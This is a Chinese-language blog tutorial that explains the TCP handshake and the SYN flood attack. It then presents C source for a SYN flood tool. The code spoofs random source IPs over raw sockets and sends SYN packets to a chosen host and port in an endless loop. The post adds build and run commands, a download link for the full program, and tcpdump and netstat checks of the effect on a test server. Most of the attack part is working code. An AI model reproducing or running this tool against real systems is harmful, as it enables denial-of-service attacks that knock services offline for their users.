1、TCP握手协议
第一次握手:建立连接时,客户端发送syn包(syn=j)到服务器,并进入SYN_SEND状态,等待服务器确认;
第二次握手:服务器收到syn包,必须确认客户的SYN(ack=j+1),同时自己也发送一个SYN包(syn=k),即SYN+ACK包,此时服务器进入SYN_RECV状态;
第三次握手:客户端收到服务器的SYN+ACK包,向服务器发送确认包ACK(ack=k+1),此包发送完毕,客户端和服务器进入ESTABLISHED状态,完成三次握手。
在上述过程中,还有一些重要的概念:
未连接队列:在三次握手协议中,服务器维护一个未连接队列,该队列为每个客户端的SYN包(syn=j)开设一个条目,该条目表明服务器已收到SYN包,并向客户发出确认,正在等待客户的确认包。这些条目所标识的连接在服务器处于Syn_RECV状态,当服务器收到客户的确认包时,删除该条目,服务器进入ESTABLISHED状态。
2、SYN攻击原理
SYN攻击属于DOS攻击的一种,它利用TCP协议缺陷,通过发送大量的半连接请求,耗费CPU和内存资源。
配合IP欺骗,SYN攻击能达到很好的效果,通常,客户端在短时间内伪造大量不存在的IP地址,向服务器不断地发送syn包,服务器回复确认包,并等待客户的确认,由于源地址是不存在的,服务器需要不断的重发直至超时,这些伪造的SYN包将长时间占用未连接队列,正常的SYN请求被丢弃,目标系统运行缓慢,严重者引起网络堵塞甚至系统瘫痪。
请前往我的github下载:
https://github.com/jiangeZh/SYN_Flood.git
/* 为DNS地址,查询并转换成IP地址 */
/*
*gethostbyname()返回对应于给定主机名的包含主机名字和地址信息的hostent结构指针。
*struct hostent
*{
* char *h_name;
* char **h_aliases;
* short h_addrtype;
* short h_length;
* char **h_addr_list;
* #define h_addr h_addr_list[0]
*};
*/
host = gethostbyname(argv[1]);
if(host == NULL)
{
perror("gethostbyname()");
exit(1);
}
addr.sin_addr = *((struct in_addr*)(host->h_addr));
strncpy( dst_ip, inet_ntoa(addr.sin_addr), 16 );
/* 建立原始socket */
/* raw icmp socket(IPPROTO_ICMP): * 不用构建IP头部分,只发送ICMP头和数据。返回包括IP头和ICMP头和数据。 * raw udp socket(IPPROTO_UDP): * 不用构建IP头部分,只发送UDP头和数据。返回包括IP头和UDP头和数据。 * raw tcp socket(IPPROTO_TCP): * 不用构建IP头部分,只发送TCP头和数据。返回包括IP头和TCP头和数据。 * raw raw socket(IPPROTO_RAW): * 要构建IP头部和要发送的各种协议的头部和数据。返回包括IP头和相应的协议头和数据。 */
sockfd = socket (AF_INET, SOCK_RAW, IPPROTO_TCP);
if (sockfd < 0)
{
perror("socket()");
exit(1);
}
/* 当需要编写自己的IP数据包首部时,可以在原始套接字上设置套接字选项IP_HDRINCL. * 在不设置这个选项的情况下,IP协议自动填充IP数据包的首部. */
if (setsockopt (sockfd, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof (on)) < 0)
{
perror("setsockopt()");
exit(1);
}
/* 将程序的权限修改为普通用户 */
setuid(getpid());
定义ip首部struct ip:
struct ip{
unsigned char hl; /* header length */
unsigned char tos; /* type of service */
unsigned short total_len; /* total length */
unsigned short id; /* identification */
unsigned short frag_and_flags; /* fragment offset field */
#define IP_RF 0x8000 /* reserved fragment flag */
#define IP_DF 0x4000 /* dont fragment flag */
#define IP_MF 0x2000 /* more fragments flag */
#define IP_OFFMASK 0x1fff /* mask for fragmenting bits */
unsigned char ttl; /* time to live */
unsigned char proto; /* protocol */
unsigned short checksum; /* checksum */
unsigned int sourceIP;
unsigned int destIP;
};
定义TCP首部struct tcphdr:
struct tcphdr{
unsigned short sport;
unsigned short dport;
unsigned int seq;
unsigned int ack;
unsigned char lenres;
unsigned char flag;
unsigned short win;
unsigned short sum;
unsigned short urp;
};
|----------------|----------------|-------------
| sport | dport |
|----------------|----------------|
| seq |
|---------------------------------|
| ack | 20 Bytes
|------|----|----|----------------|
|lenres| |flag| win |
|------|----|----|----------------|
| sum | urg |
|----------------|----------------|-------------
| options | 4 Bytes
|---------------------------------|
TCP头
定义TCP伪首部struct pseudohdr:
struct pseudohdr
{
unsigned int saddr;
unsigned int daddr;
char zero;
char protocol;
unsigned short length;
};
伪首部是一个虚拟的数据结构,其中的信息是从数据报所在IP分组头的分组头中提取的,既不向下传送也不向上递交,而仅仅是为计算校验和。这样的校验和,既校验了TCP&UDP用户数据的源端口号和目的端口号以及TCP&UDP用户数据报的数据部分,又检验了IP数据报的源IP地址和目的地址。伪报头保证TCP&UDP数据单元到达正确的目的地址。
计算IP校验和时,计算内容仅为IP首部;
计算TCP校验和时,计算内容为:伪首部+TCP首部+TCP数据;
这里使用的校验和函数是网上广为流传的:
/* CRC16校验 */
unsigned short inline
checksum (unsigned short *buffer, unsigned short size)
{
unsigned long cksum = 0;
while(size>1){
cksum += *buffer++;
size -= sizeof(unsigned short);
}
if(size){
cksum += *(unsigned char *)buffer;
}
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >> 16);
return((unsigned short )(~cksum));
}
初始化头部信息,并使用随机生成的源地址填充后计算校验和。
最后把IP首部+TCP首部打包发送出去。
/* 初始化头部信息 */
init_header(&ip, &tcp, &pseudoheader);
/* 处于活动状态时持续发送SYN包 */
while(alive)
{
ip.sourceIP = rand();
//计算IP校验和
bzero(buf, sizeof(buf));
memcpy(buf , &ip, sizeof(struct ip));
ip.checksum = checksum((u_short *) buf, sizeof(struct ip));
pseudoheader.saddr = ip.sourceIP;
//计算TCP校验和
bzero(buf, sizeof(buf));
memcpy(buf , &pseudoheader, sizeof(pseudoheader));
memcpy(buf+sizeof(pseudoheader), &tcp, sizeof(struct tcphdr));
tcp.sum = checksum((u_short *) buf, sizeof(pseudoheader)+sizeof(struct tcphdr));
//打包IP+TCP
bzero(sendbuf, sizeof(sendbuf));
memcpy(sendbuf, &ip, sizeof(struct ip));
memcpy(sendbuf+sizeof(struct ip), &tcp, sizeof(struct tcphdr));
printf(".");
if (
sendto(sockfd, sendbuf, len, 0, (struct sockaddr *) addr, sizeof(struct sockaddr))
< 0)
{
perror("sendto()");
pthread_exit("fail");
}
}
/* 首部初始化函数 * 填写IP头部,TCP头部 * TCP伪头部仅用于校验和的计算 */
void
init_header(struct ip *ip, struct tcphdr *tcp, struct pseudohdr *pseudoheader)
{
int len = sizeof(struct ip) + sizeof(struct tcphdr);
// IP头部数据初始化
ip->hl = (4<<4 | sizeof(struct ip)/sizeof(unsigned int));
ip->tos = 0;
ip->total_len = htons(len);
ip->id = 1;
ip->frag_and_flags = 0x40; //不分片标志
ip->ttl = 255;
ip->proto = IPPROTO_TCP;
ip->checksum = 0;
ip->sourceIP = 0;
ip->destIP = inet_addr(dst_ip);
// TCP头部数据初始化
tcp->sport = htons( rand()%16383 + 49152 );
tcp->dport = htons(dst_port);
tcp->seq = htonl( rand()%90000000 + 2345 );
tcp->ack = 0;
tcp->lenres = (sizeof(struct tcphdr)/4<<4|0);
tcp->flag = 0x02; //SYN标志
tcp->win = htons (2048);
tcp->sum = 0;
tcp->urp = 0;
//TCP伪头部
pseudoheader->zero = 0;
pseudoheader->protocol = IPPROTO_TCP;
pseudoheader->length = htons(sizeof(struct tcphdr));
pseudoheader->daddr = inet_addr(dst_ip);
srand((unsigned) time(NULL));
}
注意ip的hl字段:首部长度指的是IP层头部占32 bit字的数目(也就是IP层头部包含多少个4字节 – 32位),包括任何选项。由于它是一个4比特字段,因此首部最长为60个字节。普通IP数据报(没有任何选择项)字段的值是5 <==> 5 * 32 / 8 = 5 * 4 = 20 Bytes
$ gcc -o syn syn_flood.c -lpthread
$ sudo ./syn <IPaddress> <port>
这里可以指定目的地址和端口号,目的地址可以是IP地址也可以是域名。
我用我自己的服务器来做测试。
在目标主机上抓包查看,只显示TCP的SYN和ACK包:
(interface 为指定的接口,比如 -i eth0 )
tcpdump -i <interface> "tcp[tcpflags] & (tcp-syn|tcp-ack) != 0"
可以看到有一大波SYN包袭来……
用netstat查看:
netstat -na | grep tcp
可以看到有很多处于 SYN_RECV 状态的连接。
以下是我测试的效果截图: